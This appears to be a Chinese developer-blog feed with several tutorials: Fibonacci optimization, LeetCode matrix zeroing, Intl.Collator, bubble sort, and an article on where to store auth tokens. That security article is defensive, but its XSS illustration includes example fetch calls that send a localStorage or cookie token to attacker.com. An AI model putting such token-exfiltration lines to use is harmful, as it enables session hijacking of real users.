阅读视图

发现新文章,点击刷新页面。

斐波那契数列:从递归到优化的完整指南

斐波那契数列是算法学习中的经典案例,也是前端面试中的高频考点。本文将从基础递归实现开始,逐步优化,带你深入理解递归、缓存、闭包等核心概念。

什么是斐波那契数列?

斐波那契数列是一个从 0 和 1 开始,后续每一项都等于前面两项之和的整数序列。

数学定义:

f(0) = 0
f(1) = 1
f(n) = f(n-1) + f(n-2)  (n ≥ 2)

方法一:基础递归实现

代码实现

// 递归
// 时间复杂度 O(2^n)
function fib(n) {
    // 退出条件,若没有会爆栈
    if(n <= 1) return n;
    return fib(n-1) + fib(n-2);
}

console.log(fib(10));  // 55

核心思想

递归的本质:

  • 大的问题可以分解为多个小的问题(类似)
  • 自顶向下,思路清晰,代码简洁
  • 靠函数入栈来实现,调用栈会占用栈内存

时间复杂度分析

O(2^n) - 指数级时间复杂度

为什么是指数级?

                fib(5)
               /      \
          fib(4)      fib(3)
          /    \      /    \
     fib(3) fib(2) fib(2) fib(1)
     /   \   /  \   /  \
fib(2) fib(1) ...

可以看到,fib(3) 被计算了多次,fib(2) 被计算了更多次。每一层都会产生两个子问题,所以总的时间复杂度是指数级的。

问题分析

  1. 重复计算:同一个值被计算多次

    • fib(3) 在计算 fib(5) 时被计算了 2 次
    • fib(2) 被计算了 3 次
    • fib(1) 被计算了 5 次
  2. 栈溢出风险:当 n 较大时,调用栈过深会导致爆栈

    fib(100);  // 可能会栈溢出
    
  3. 性能问题:计算 fib(40) 就需要几秒钟,fib(50) 可能需要几分钟


方法二:缓存优化(记忆化)

代码实现

const cache = {};   // 用空间换时间

function fib(n) {
    // 如果已经计算过,直接从缓存中取
    if(n in cache) {
        return cache[n];
    }
    
    // 基础情况
    if(n <= 1) {
        cache[n] = n;
        return n;
    }
    
    // 计算并缓存结果
    const result = fib(n-1) + fib(n-2);
    cache[n] = result;
    return result;
}

console.log(fib(100));  // 354224848179262000000

优化原理

核心思想:用空间换时间

  1. 缓存已计算的结果:使用 cache 对象存储已经计算过的值
  2. 避免重复计算:如果计算过,直接在缓存中取,不用入栈那么多函数
  3. 时间复杂度优化:从 O(2^n) 降低到 O(n)

时间复杂度分析

O(n) - 线性时间复杂度

每个 fib(i) 只计算一次,然后存储在缓存中。后续需要时直接从缓存读取。

空间复杂度

O(n) - 需要存储 n 个计算结果

存在的问题

  1. 全局变量污染cache 是全局变量,可能被其他代码修改
  2. 封装性差:缓存逻辑暴露在外部
  3. 无法重置:一旦计算过,缓存会一直存在

方法三:闭包封装(推荐)

代码实现

// cache 闭合到函数中?
const fib = (function() {
    // 闭包
    // IIFE (Immediately Invoked Function Expression)
    const cache = {};
    
    return function(n) {
        // 如果缓存中有,直接返回
        if(n in cache) {
            return cache[n];
        }
        
        // 基础情况
        if (n <= 1) {
            cache[n] = n;
            return n;
        }
        
        // 递归计算并缓存
        cache[n] = fib(n-1) + fib(n-2);
        return cache[n];
    }
})()

console.log(fib(100));  // 354224848179262000000

核心概念解析

1. 闭包(Closure)

什么是闭包?

  • 函数可以访问其外部作用域的变量
  • 即使外部函数执行完毕,内部函数仍然可以访问外部变量

在这个例子中:

  • cache 是外部函数的局部变量
  • 返回的内部函数可以访问 cache
  • 即使外部函数执行完毕,cache 仍然存在

2. IIFE(立即执行函数表达式)

IIFE 的作用:

  • 创建一个独立的作用域
  • 避免全局变量污染
  • 封装私有变量

语法:

(function() {
    // 代码
})()

优势分析

封装性好cache 是私有变量,外部无法访问
避免污染:不会创建全局变量
代码优雅:使用闭包和 IIFE,符合函数式编程思想
性能优秀:时间复杂度 O(n),空间复杂度 O(n)


方法四:迭代实现(最优解)

代码实现

function fib(n) {
    if(n <= 1) return n;
    
    let prev = 0;  // f(0)
    let curr = 1;  // f(1)
    
    // 从 f(2) 开始计算到 f(n)
    for(let i = 2; i <= n; i++) {
        const next = prev + curr;
        prev = curr;
        curr = next;
    }
    
    return curr;
}

console.log(fib(100));  // 354224848179262000000

优势

时间复杂度:O(n) - 线性时间
空间复杂度:O(1) - 只使用常数空间
不会栈溢出:不使用递归,不会出现调用栈过深的问题
性能最优:比递归方法更快,内存占用更少

对比分析

方法 时间复杂度 空间复杂度 栈溢出风险 代码复杂度
基础递归 O(2^n) O(n)
缓存递归 O(n) O(n)
闭包递归 O(n) O(n)
迭代 O(n) O(1)

实际应用场景

1. 前端性能优化

在需要频繁计算斐波那契数的场景(如动画、游戏),使用缓存或迭代方法可以显著提升性能。

2. 算法面试

斐波那契数列是算法面试中的经典题目,考察点包括:

  • 递归思想
  • 时间复杂度分析
  • 优化能力
  • 闭包理解

3. 动态规划入门

斐波那契数列是理解动态规划(DP)的绝佳例子:

  • 重叠子问题
  • 最优子结构
  • 状态转移方程

4. 前端动画

在某些动画效果中,可以使用斐波那契数列来创建自然的缓动效果。


总结

从朴素递归到记忆化缓存,从闭包封装到迭代优化,斐波那契数列看似简单,却像一面镜子,映照出编程思维的演进路径:从“能跑就行”到“优雅高效”

  • 递归 教会我们如何将复杂问题分解,但也暴露了重复计算与栈溢出的隐患;
  • 记忆化 引入“空间换时间”的经典策略,是动态规划思想的雏形;
  • 闭包 + IIFE 展示了 JavaScript 的函数式魅力,在性能与封装之间取得平衡;
  • 迭代解法 则回归本质——用最朴素的循环,实现最优的时间与空间复杂度。

这不仅是一道面试题,更是一次对算法思维、语言特性与工程实践的综合演练。在前端日益复杂的今天,理解这些底层逻辑,才能写出既健壮又高效的代码。

真正的优化,不在于炫技,而在于在正确的地方,选择最合适的解法。


记住:算法学习不是死记硬背,而是理解思想,灵活运用! 🚀

面试官最爱挖的坑:用户 Token 到底该存哪?

面试官问:"用户 token 应该存在哪?"

很多人脱口而出:localStorage。

这个回答不能说错,但远称不上好答案

一个好答案,至少要说清三件事:

  • 有哪些常见存储方式,它们的优缺点是什么
  • 为什么大部分团队会从 localStorage 迁移到 HttpOnly Cookie
  • 实际项目里怎么落地、怎么权衡「安全 vs 成本」

这篇文章就从这三点展开,顺便帮你把这道高频面试题吃透。


三种存储方式,一张图看懂差异

前端存 token,主流就三种:

flowchart LR
    subgraph 存储方式
        A[localStorage]
        B[普通 Cookie]
        C[HttpOnly Cookie]
    end

    subgraph 安全特性
        D[XSS 可读取]
        E[CSRF 会发送]
    end

    A -->|是| D
    A -->|否| E
    B -->|是| D
    B -->|是| E
    C -->|否| D
    C -->|是| E

    style A fill:#f8d7da,stroke:#dc3545
    style B fill:#f8d7da,stroke:#dc3545
    style C fill:#d4edda,stroke:#28a745
存储方式 XSS 能读到吗 CSRF 会自动带吗 推荐程度
localStorage 不会 不推荐存敏感数据
普通 Cookie 不推荐
HttpOnly Cookie 不能 推荐

localStorage:用得最多,但也最容易出事

大部分项目一开始都是这样写的,把 token 往 localStorage 一扔就完事了:

// 登录成功后
localStorage.setItem('token', response.accessToken);

// 请求时取出来
const token = localStorage.getItem('token');
fetch('/api/user', {
  headers: { Authorization: `Bearer ${token}` }
});

用起来确实方便,但有个致命问题:XSS 攻击可以直接读取

localStorage 对 JavaScript 完全开放。只要页面有一个 XSS 漏洞,攻击者就能一行代码偷走 token:

// 攻击者注入的脚本
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'))

你可能会想:"我的代码没有 XSS 漏洞。"

现实是:XSS 漏洞太容易出现了——一个 innerHTML 没处理好,一个第三方脚本被污染,一个 URL 参数直接渲染……项目一大、接口一多,总有疏漏的时候。


普通 Cookie:XSS 能读,CSRF 还会自动带

有人会往 Cookie 上靠拢:"那我存 Cookie 里,是不是就更安全了?"

如果只是「普通 Cookie」,实际上比 localStorage 还糟糕:

// 设置普通 Cookie
document.cookie = `token=${response.accessToken}; path=/`;

// 攻击者同样能读到
const token = document.cookie.split('token=')[1];
fetch('https://attacker.com/steal?token=' + token);

XSS 能读,CSRF 还会自动带上——两头不讨好


HttpOnly Cookie:让 XSS 偷不走 Token

真正值得推荐的,是 HttpOnly Cookie

它的核心优势只有一句话:JavaScript 读不到

// 后端设置(Node.js 示例)
res.cookie('access_token', token, {
  httpOnly: true,    // JS 访问不到
  secure: true,      // 只在 HTTPS 发送
  sameSite: 'lax',   // 防 CSRF
  maxAge: 3600000    // 1 小时过期
});

设置了 httpOnly: true,前端 document.cookie 压根看不到这个 Cookie。XSS 攻击偷不走。

// 前端发请求,浏览器自动带上 Cookie
fetch('/api/user', {
  credentials: 'include'
});

// 攻击者的 XSS 脚本
document.cookie  // 看不到 httpOnly 的 Cookie,偷不走

HttpOnly Cookie 的代价:需要正面面对 CSRF

HttpOnly Cookie 解决了「XSS 偷 token」的问题,但引入了另一个必须正视的问题:CSRF

因为 Cookie 会自动发送,攻击者可以诱导用户访问恶意页面,悄悄发起伪造请求:

sequenceDiagram
    participant 用户
    participant 银行网站
    participant 恶意网站

    用户->>银行网站: 1. 登录,获得 HttpOnly Cookie
    用户->>恶意网站: 2. 访问恶意网站
    恶意网站->>用户: 3. 页面包含隐藏表单
    用户->>银行网站: 4. 浏览器自动发送请求(带 Cookie)
    银行网站->>银行网站: 5. Cookie 有效,执行转账
    Note over 用户: 用户完全不知情

好消息是:CSRF 比 XSS 容易防得多

SameSite 属性

最简单的一步,就是在设置 Cookie 时加上 sameSite

res.cookie('access_token', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax'  // 关键配置
});

sameSite 有三个值:

  • strict:跨站请求完全不带 Cookie。最安全,但从外链点进来需要重新登录
  • lax:GET 导航可以带,POST 不带。大部分场景够用,Chrome 默认值
  • none:都带,但必须配合 secure: true

lax 能防住绝大部分 CSRF 攻击。如果业务场景更敏感(比如金融),可以再加 CSRF Token。

CSRF Token(更严格)

如果希望更严谨,可以在 sameSite 基础上,再加一层 CSRF Token 验证:

// 后端生成 Token,放到页面或接口返回
const csrfToken = crypto.randomUUID();
res.cookie('csrf_token', csrfToken);  // 这个不用 httpOnly,前端需要读

// 前端请求时带上
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': document.cookie.match(/csrf_token=([^;]+)/)?.[1]
  },
  credentials: 'include'
});

// 后端验证
if (req.cookies.csrf_token !== req.headers['x-csrf-token']) {
  return res.status(403).send('CSRF token mismatch');
}

攻击者能让浏览器自动带上 Cookie,但没法读取 Cookie 内容来构造请求头。


核心对比:为什么宁愿多做 CSRF,也要堵死 XSS

这是全篇最重要的一点,也是推荐 HttpOnly Cookie 的根本原因。

XSS 的攻击面太广

  • 用户输入渲染(评论、搜索、URL 参数)
  • 第三方脚本(广告、统计、CDN)
  • 富文本编辑器
  • Markdown 渲染
  • JSON 数据直接插入 HTML

代码量大了,总有地方会疏漏。一个 innerHTML 忘了转义,第三方库有漏洞,攻击者就能注入脚本。

CSRF 防护相对简单、手段统一

  • sameSite: lax 一行配置搞定大部分场景
  • 需要更严格就加 CSRF Token
  • 攻击面有限,主要是表单提交和链接跳转

两害相权取其轻——先把 XSS 能偷 token 这条路堵死,再去专心做好 CSRF 防护


真落地要改什么:从 localStorage 迁移到 HttpOnly Cookie

从 localStorage 迁移到 HttpOnly Cookie,需要前后端一起动手,但改造范围其实不大。

后端改动

登录接口,从「返回 JSON 里的 token」改成「Set-Cookie」:

// 改造前
app.post('/api/login', (req, res) => {
  const token = generateToken(user);
  res.json({ accessToken: token });
});

// 改造后
app.post('/api/login', (req, res) => {
  const token = generateToken(user);
  res.cookie('access_token', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
    maxAge: 3600000
  });
  res.json({ success: true });
});

前端改动

前端请求时不再手动带 token,而是改成 credentials: 'include'

// 改造前
fetch('/api/user', {
  headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }
});

// 改造后
fetch('/api/user', {
  credentials: 'include'
});

如果用 axios,可以全局配置:

axios.defaults.withCredentials = true;

登出处理

登出时,后端清除 Cookie:

app.post('/api/logout', (req, res) => {
  res.clearCookie('access_token');
  res.json({ success: true });
});

如果暂时做不到 HttpOnly Cookie,可以怎么降风险

有些项目历史包袱比较重,或者后端暂时不愿意改。短期内只能继续用 localStorage 的话,至少要做好这些补救措施:

  1. 严格防 XSS

    • textContent 代替 innerHTML
    • 用户输入必须转义
    • 配置 CSP 头
    • 富文本用 DOMPurify 过滤
  2. Token 过期时间要短

    • Access Token 15-30 分钟过期
    • 配合 Refresh Token 机制
  3. 敏感操作二次验证

    • 转账、改密码等操作,要求输入密码或短信验证
  4. 监控异常行为

    • 同一账号多地登录告警
    • Token 使用频率异常告警

面试怎么答

回到开头的问题,面试怎么答?

简洁版(30 秒):

推荐 HttpOnly Cookie。因为 XSS 比 CSRF 难防——代码里一个 innerHTML 没处理好就可能有 XSS,而 CSRF 只要加个 SameSite: Lax 就能防住大部分。用 HttpOnly Cookie,XSS 偷不走 token,只需要处理 CSRF 就行。

完整版(1-2 分钟):

Token 存储有三种常见方式:localStorage、普通 Cookie、HttpOnly Cookie。

localStorage 最大的问题是 XSS 能读取。JavaScript 对 localStorage 完全开放,攻击者注入一行脚本就能偷走 token。

普通 Cookie 更糟,XSS 能读,CSRF 还会自动发送。

推荐 HttpOnly Cookie,设置 httpOnly: true 后 JavaScript 读不到。虽然 Cookie 会自动发送导致 CSRF 风险,但 CSRF 比 XSS 容易防——加个 sameSite: lax 就能解决大部分场景。

所以权衡下来,HttpOnly Cookie 配合 SameSite 是更安全的方案。

当然,没有绝对安全的方案。即使用了 HttpOnly Cookie,XSS 攻击虽然偷不走 token,但还是可以利用当前会话发请求。最好的做法是纵深防御——HttpOnly Cookie + SameSite + CSP + 输入验证,多层防护叠加。

加分项(如果面试官追问):

  • 改造成本:需要前后端配合,登录接口改成 Set-Cookie 返回,前端请求加 credentials: include
  • 如果用 localStorage:Token 过期时间要短,敏感操作二次验证,严格防 XSS
  • 移动端场景:App 内置 WebView 用 HttpOnly Cookie 可能有兼容问题,需要具体评估

如果你觉得这篇文章有帮助,欢迎关注我的 GitHub,下面是我的一些开源项目:

Claude Code Skills(按需加载,意图自动识别,不浪费 token,介绍文章):

全栈项目(适合学习现代技术栈):

  • prompt-vault - Prompt 管理器,用的都是最新的技术栈,适合用来学习了解最新的前端全栈开发范式:Next.js 15 + React 19 + tRPC 11 + Supabase 全栈示例,clone 下来配个免费 Supabase 就能跑
  • chat_edit - 双模式 AI 应用(聊天+富文本编辑),Vue 3.5 + TypeScript + Vite 5 + Quill 2.0 + IndexedDB

不用 Set,只用两个布尔值:如何用标志位将矩阵置零的空间复杂度压到 O(1)


🧩 LeetCode 73. 矩阵置零:从暴力 Set 到 O(1) 原地算法(附完整解析)

题目要求:给定一个 m x n 的整数矩阵,若某个元素为 0,则将其所在整行和整列全部置为 0
关键限制:必须 原地修改(in-place) ,不能返回新数组。

在刷这道题时,我一开始写了暴力解法,后来尝试优化空间,却踩了几个经典坑。今天就用我自己的代码,带大家一步步理解如何从 O(m+n) 空间优化到 O(1),以及为什么第一行和第一列要特殊处理

先看题目:73. 矩阵置零 - 力扣(LeetCode)


image.png

🔥 第一步:暴力解法(清晰但非最优)

最直观的想法是:

  • 遍历矩阵,记录所有含 0行号列号
  • 再遍历一次,把对应行列置零
// 暴力法
let xZero = new Set();
let yZero = new Set();
for (let i = 0; i < x; i++) {
    for (let j = 0; j < y; j++) {
        if (matrix[i][j] === 0) {
            xZero.add(i);
            yZero.add(j);
        }
    }
}
for (let i = 0; i < x; i++) {
    for (let j = 0; j < y; j++) {
        if (xZero.has(i) || yZero.has(j))
            matrix[i][j] = 0;
    }
}

优点:逻辑简单,一次 AC
缺点:用了两个 Set,空间复杂度 O(m + n),不符合“极致原地”的要求

面试官可能会问:“能不能不用额外空间?”

于是,我开始思考:能不能把标记信息存在矩阵自己身上?


🚀 第二步:空间优化 —— 利用第一行和第一列做标记

💡 核心思想

  • matrix[i][0] == 0 表示第 i 行需要置零
  • matrix[0][j] == 0 表示第 j 列需要置零

这样,我们就把“标记位”复用到了矩阵的第一列和第一行上,省下了 O(m+n) 的空间

但问题来了:

如果第一行或第一列本来就有 0,我们怎么知道这个 0 是“原始数据”还是“后来设置的标记”?

举个例子:

[
  [1, 0, 1],
  [1, 1, 1],
  [1, 1, 1]
]
  • 这里的 matrix[0][1] = 0 是原始数据,意味着第 0 行和第 1 列都要清零
  • 但如果我们在后续过程中把它当作“标记”,可能会漏掉对第 0 行的清零!

所以,必须提前记录第一行和第一列是否原本就有 0


✅ 我的优化代码-标记法

/**
 * @param {number[][]} matrix
 * @return {void} Do not return anything, modify matrix in-place instead.
 */
var setZeroes = function(matrix) {
    let x = matrix.length;
    let y = matrix[0].length;

    // 用两个布尔值记录第一行/列是否原本有0
    let xZero = false;  // 实际表示:第一行是否有0
    let yZero = false;  // 实际表示:第一列是否有0

    // 检查第一列(所有 matrix[i][0])
    for (let i = 0; i < x; i++) {
        if (matrix[i][0] === 0) {
            yZero = true;
            break;
        }
    }

    // 检查第一行(所有 matrix[0][i])
    for (let i = 0; i < y; i++) {
        if (matrix[0][i] === 0) {
            xZero = true;
            break;
        }
    }

    // 用第一行/列作为标记区(从 [1][1] 开始)
    for (let i = 1; i < x; i++) {
        for (let j = 1; j < y; j++) {
            if (matrix[i][j] === 0) {
                matrix[i][0] = 0; // 标记该行
                matrix[0][j] = 0; // 标记该列
                // ⚠️ 注意:这里不能加 break!否则会漏掉同一行的多个0
            }
        }
    }

    // 根据标记置零(从 [1][1] 开始)
    for (let i = 1; i < x; i++) {
        for (let j = 1; j < y; j++) {
            if (matrix[0][j] === 0 || matrix[i][0] === 0) {
                matrix[i][j] = 0;
            }
        }
    }

    // 单独处理第一行
    if (xZero) {
        for (let i = 0; i < y; i++) {
            matrix[0][i] = 0;
        }
    }

    // 单独处理第一列
    if (yZero) {
        for (let i = 0; i < x; i++) {
            matrix[i][0] = 0;
        }
    }

    // 注意:题目要求 void,不要 return matrix(虽然JS不报错)
};

📌 说明:虽然我用 xZero 表示“第一行是否有0”、yZero 表示“第一列是否有0”,命名稍有反直觉,但逻辑是正确的。建议实际开发中改用 firstRowHasZero / firstColHasZero 提高可读性。


❗ 我踩过的关键 bug

在标记循环中加了 break

错误写法

if(matrix[i][j]===0) {
    matrix[0][j]=0;
    matrix[i][0]=0;
    break; // ← 错!
}

后果:一行中有多个 0 时,只标记第一个,后面的列不会被置零!

修复删除 break,让内层循环完整遍历。


🤔 为什么必须单独处理第一行和第一列?

这是本题的灵魂所在!

  • 我们借用第一行和第一列来存储“其他行列是否要清零”的信息。

  • 但它们自己也可能是“受害者”(原本就有 0)。

  • 如果不提前记录,最后无法判断:

    “这个 0 是用来标记别人的,还是自己需要被清零?”

因此,先扫描、再标记、最后统一处理,是唯一安全的做法。

就像借朋友的笔记本做笔记前,先拍照保存他原来写的内容,避免覆盖。


✅ 复杂度对比

方法 时间复杂度 空间复杂度 是否原地
暴力 Set O(mn) O(m + n)
原地标记法 O(mn) O(1)

💬 结语

通过这道题,我深刻体会到:

  • 原地算法的核心:巧妙复用已有空间,同时避免信息污染
  • 边界处理的重要性:第一行/列既是“工具”又是“数据”,必须特殊对待
  • 细节决定成败:一个多余的 break,就能让代码全盘皆错

希望我的踩坑经历能帮你少走弯路!如果你也有类似经历,欢迎在评论区分享~

LeetCode 不只是刷题,更是思维训练。
共勉!


前端字符串排序搜索可以更加细化了

大家好,我是CC,在这里欢迎大家的到来~

开场

书接上文,Intl 下的 Segmenter 对象可以实现对文本的分割,除此之外,还有对字符串比较、数字格式化、日期格式化等其他功能。

这篇文章先来看看字符串比较,现在来理论加实践一下。

字符串比较

Intl.Collator用于语言敏感的字符串比较。

比较

基于 Collator 对象的排序规则进行比较。第一个字符串出现在第二个字符串之前则为负值,否则为正则,相等时则返回 0。

console.log(new Intl.Collator().compare("a", "c")); // -1
console.log(new Intl.Collator().compare("c", "a")); // 1
console.log(new Intl.Collator().compare("a", "a")); // 0

基于语言比较

// 德语中,ä 使用 a 的排序
console.log(new Intl.Collator("de").compare("ä", "z"));
// -1

// 在瑞典语中,ä 排在 z 之后
console.log(new Intl.Collator("sv").compare("ä", "z"));
// 1

配置项

  • localeMatcher
    • 使用的区域匹配算法,可选的值包括:
    • 默认值为best fit-使用浏览器最佳匹配算法,还有lookup-使用 BCP 47 规范的标准查找
const testStrings = ['苹果', '香蕉', '橙子'];

// lookup:使用 BCP 47 规范的标准查找
const lookupCollator = new Intl.Collator('zh', {
  localeMatcher: 'lookup'
});

// best fit:使用浏览器的最佳匹配算法(默认)
const bestFitCollator = new Intl.Collator('zh', {
  localeMatcher: 'best fit'
});

console.log(testStrings.sort(lookupCollator.compare));
console.log(testStrings.sort(bestFitCollator.compare));

// ["橙子","苹果","香蕉"]
// ["橙子","苹果","香蕉"]
  • usage
    • 是用于排序还是用于搜索匹配的字符串,可选的值包括:
    • 默认值是 sort,还有 search
const words = ['数据', '数据库', '数学', '数字', '数值'];

// 用于排序的 Collator
const sortCollator = new Intl.Collator('zh-CN', {
  usage: 'sort',
  sensitivity: 'variant'
});

// 用于搜索的 Collator
const searchCollator = new Intl.Collator('zh-CN', {
  usage: 'search',
  sensitivity: 'base'  // 搜索时更宽松
});

console.log('排序结果:', words.sort(sortCollator.compare));
// ["数据", "数据库", "数值", "数字", "数学"]

const searchTerm = '数';
const searchResults = words.filter(word => 
  searchCollator.compare(word.slice(0, searchTerm.length), searchTerm) === 0
);
console.log(`搜索"${searchTerm}"的结果:`, searchResults);
// ["数据", "数据库", "数学", "数字", "数值"]
  • sensitivity
    • 字符串中哪些差异应导致结果值为非零,可能的值包括:
    • base: 只有字母不同的字符串比较时不相等,像 a ≠ b、a = á、a = A。
    • accent: 只有不同的基本字母或重音符号和其他变音符号的字符串比较时不相等,例如:a ≠ b、a ≠ á、a = A。
    • case: 只有不同的基本字母或大小写的字符串比较时不相等,例如:a ≠ b、a = á、a ≠ A。
    • variant: 字符串的字母、重音和其他变音富豪,或不同大小写比较不相等,例如:a ≠ b、a ≠ á、a ≠ A。
    • usage 是 sort 时默认值是 variant,search 时默认值取决于区域。
const pinyinExamples = [
  ['mā', 'ma'],     // 声调差异
  ['lǜ', 'lu'],     // 特殊字符差异
  ['zhōng', 'zhong'] // 音调符号差异
];

const pinyinAccentCollator = new Intl.Collator('zh-CN', {
  sensitivity: 'accent',  // 忽略声调差异
  usage: 'search'
});

pinyinExamples.forEach(([a, b]) => {
  const result = pinyinAccentCollator.compare(a, b);
  console.log(`"${a}" vs "${b}": ${result === 0 ? '匹配' : '不匹配'}`);
});
// "mā" vs "ma": 不匹配
// "lǜ" vs "lu": 不匹配
// "zhōng" vs "zhong": 不匹配

const pinyinBaseCollator = new Intl.Collator('zh-CN', {
  sensitivity: 'base',  // 忽略声调差异
  usage: 'search'
});
pinyinExamples.forEach(([a, b]) => {
  const result = pinyinBaseCollator.compare(a, b);
  console.log(`"${a}" vs "${b}": ${result === 0 ? '匹配' : '不匹配'}`);
});
// "mā" vs "ma": 匹配
// "lǜ" vs "lu": 匹配
// "zhōng" vs "zhong": 匹配

const pinyinCaseCollator = new Intl.Collator('zh-CN', {
  sensitivity: 'case',  // 忽略声调差异
  usage: 'search'
});
pinyinExamples.forEach(([a, b]) => {
  const result = pinyinCaseCollator.compare(a, b);
  console.log(`"${a}" vs "${b}": ${result === 0 ? '匹配' : '不匹配'}`);
});
// "mā" vs "ma": 匹配
// "lǜ" vs "lu": 匹配
// "zhōng" vs "zhong": 匹配

const pinyinVariantCollator = new Intl.Collator('zh-CN', {
  sensitivity: 'variant',  // 忽略声调差异
  usage: 'search'
});
pinyinExamples.forEach(([a, b]) => {
  const result = pinyinVariantCollator.compare(a, b);
  console.log(`"${a}" vs "${b}": ${result === 0 ? '匹配' : '不匹配'}`);
});
// "mā" vs "ma": 不匹配
// "lǜ" vs "lu": 不匹配
// "zhōng" vs "zhong": 不匹配
  • ignorePunctuation
    • 是否忽略标点
    • 默认是 false
const texts = [
  '你好,世界!',
  '你好世界',
  '你好-世界',
  '你好。世界',
  '你好——世界'
];

const withPunctuation = new Intl.Collator('zh-CN', {
  ignorePunctuation: false  // 不忽略标点(默认)
});
const withoutPunctuation = new Intl.Collator('zh-CN', {
  ignorePunctuation: true   // 忽略标点
});

console.log(texts.sort(withPunctuation.compare));
console.log(texts.sort(withoutPunctuation.compare));
// [
//     "你好-世界",
//     "你好——世界",
//     "你好,世界!",
//     "你好。世界",
//     "你好世界"
// ]
// [
//     "你好,世界!",
//     "你好世界",
//     "你好-世界",
//     "你好。世界",
//     "你好——世界"
// ]
  • numeric
    • 是否使用数字对照,使得“1”<“2”<“10”
    • 默认是 false
    • 同 locales 的 Unicode 扩展键 kn 设置,但优先级高于他
const items = [
  '第1章 引言',
  '第10章 总结',
  '第2章 正文',
  '第11章 附录',
  '第20章 参考文献'
];
// 普通排序(字符串方式)
const regularCollator = new Intl.Collator('zh-CN', {
  numeric: false  // 默认
});

// 数字感知排序
const numericCollator = new Intl.Collator('zh-CN', {
  numeric: true
});

console.log(items.slice().sort(regularCollator.compare));
console.log(items.slice().sort(numericCollator.compare));
// [
//     "第10章 总结",
//     "第11章 附录",
//     "第1章 引言",
//     "第20章 参考文献",
//     "第2章 正文"
// ]
// [
//     "第1章 引言",
//     "第2章 正文",
//     "第10章 总结",
//     "第11章 附录",
//     "第20章 参考文献"
// ]
  • caseFirst
    • 是否首先根据大小写排序,可选的值包括:
    • upper
    • lower
    • false
    • 同 locales 的 Unicode 扩展键 kf 设置,但优先级高于他
const mixedList = [
  'Apple',
  'apple',
  'Banana',
  'banana',
  '中文',
  'China',
  'china',
  '苹果'
];
// 大写优先
const upperFirst = new Intl.Collator('zh-CN', {
  caseFirst: 'upper',
  sensitivity: 'case'  // 需要区分大小写
});

console.log(mixedList.slice().sort(upperFirst.compare));
// ["Apple", "Banana", "China", "apple", "banana", "china", "中文", "苹果"]
// [
//     "苹果",
//     "中文",
//     "Apple",
//     "apple",
//     "Banana",
//     "banana",
//     "China",
//     "china"
// ]

// 小写优先
const lowerFirst = new Intl.Collator('zh-CN', {
  caseFirst: 'lower',
  sensitivity: 'case'
});

console.log(mixedList.slice().sort(lowerFirst.compare));
// ["apple", "banana", "china", "Apple", "Banana", "China", "中文", "苹果"]
// [
//     "苹果",
//     "中文",
//     "apple",
//     "Apple",
//     "banana",
//     "Banana",
//     "china",
//     "China"
// ]

// 不优先(默认)
const noCaseFirst = new Intl.Collator('zh-CN', {
  caseFirst: false,
  sensitivity: 'case'
});

console.log(mixedList.slice().sort(noCaseFirst.compare));
// [
//     "苹果",
//     "中文",
//     "apple",
//     "Apple",
//     "banana",
//     "Banana",
//     "china",
//     "China"
// ]
  • collation
    • 区域的变体
    • 同 locales 的 Unicode 扩展键 co 设置,但优先级高于他
const words = ['张三', '李四', '王五', '赵六', '孙七'];

// 默认拼音排序
const defaultCollator = new Intl.Collator('zh-CN');
console.log(words.slice().sort(defaultCollator.compare));

// 尝试不同的 collation(如果支持)
try {
  // 笔画排序(如果支持)
  const strokeCollator = new Intl.Collator('zh-CN-u-co-stroke');
  console.log(words.slice().sort(strokeCollator.compare));
} catch (e) {
  console.log('\n笔画排序不支持:', e.message);
}

// 通过 Unicode 扩展键设置 collation
const localeWithCollation = 'zh-CN-u-co-pinyin'; // 拼音排序(默认)
const collator1 = new Intl.Collator(localeWithCollation);
console.log('\n通过 Unicode 扩展键设置 (拼音):', collator1.resolvedOptions().collation);

// 通过 options 参数覆盖
const collator2 = new Intl.Collator('zh-CN-u-co-stroke', {
  collation: 'pinyin'  // options 优先级更高
});
console.log('Options 覆盖 Unicode 扩展键:', collator2.resolvedOptions().collation);

获取配置项

const options = collator.resolvedOptions();

usedOptions.locale; // "de"
usedOptions.usage; // "sort"
usedOptions.sensitivity; // "base"
usedOptions.ignorePunctuation; // false
usedOptions.collation; // "default"
usedOptions.numeric; // false

判断返回支持的 locale

在给定的 locales 数组中判断出 Collator支持的 locales。但是可能每个浏览器支持的不大一样。

const locales = ["ban", "id-u-co-pinyin", "de-ID"];
const options = { localeMatcher: "lookup" };
console.log(Intl.Collator.supportedLocalesOf(locales, options));
// ["id-u-co-pinyin", "de-ID"]

总结

Intl.Collator可以根据当前环境或者手动设置的 Locale 以及字符串的大小写、音标、声调、标点符号和数字敏感度来实现字符串的排序和搜索;在构建国际化应用中,特别是在处理用户生成内容、搜索排序、数据展示等场景中,能确保应用遵循目标语言的正确规则。

冒泡排序 bubble sort

1. 冒泡排序过程

  • 假设,我们现在要将这个无序数组[1,5,3,2,6]从小到大来排列image.png

按冒泡排序的思想:

要把相邻的元素两两比较,当一个元素大于右侧相邻元素时,交换它们的位置;当一个元素小于或等于右侧相邻元素时,位置不变

第一轮:

image.png

第二轮:

image.png

第三轮:

image.png

第四轮

image.png

轮数 对比次数 确认元素个数 有序区个数
第1轮 4 1 1
第2轮 3 1 2
第3轮 2 1 3
第4轮 1 1 5
结论:
  • 元素交换轮数=数组长度-1
  • 每一轮交换次数=数组长度-当前交换轮

代码实现思路

  • 我们可以用 for 循环嵌套来实现,外部循环控制交换轮数
  • 内部循环用来实现每一轮的交换处理。先进行元素比较,如果元素大于右侧相邻相元素,则两元素位交换,如果不大于,则啥也不做
// 排序数组
var arr = [1, 5, 3, 2, 6];
// 数组长度
var len = arr.length;
// 外层for控制交换轮数
for (var i = 0; i < len - 1; i++) {
  // 内层for控制每一轮,元素交换次数处理
  for (var j = 0; j < len - i - 1; j++) {
    if (arr[j] > arr[j + 1]) {
      // 交换两元素位置
      var tmp; // 用来交换两个变量的中间变量
      tmp = arr[j];
      arr[j] = arr[j + 1];
      arr[j + 1] = tmp;
    }
  }
}
console.log(arr); // [1, 2, 3, 5, 6]

2. 冒泡排序优化1 --减少没必要的“轮次”

假设法:

  • 如果当前数组以及该是有序,它压根就不会进到交换
  • 假设数组一开始就是有序的,如果从未进入
     // 交换两元素位置
     var tmp; // 用来交换两个变量的中间变量
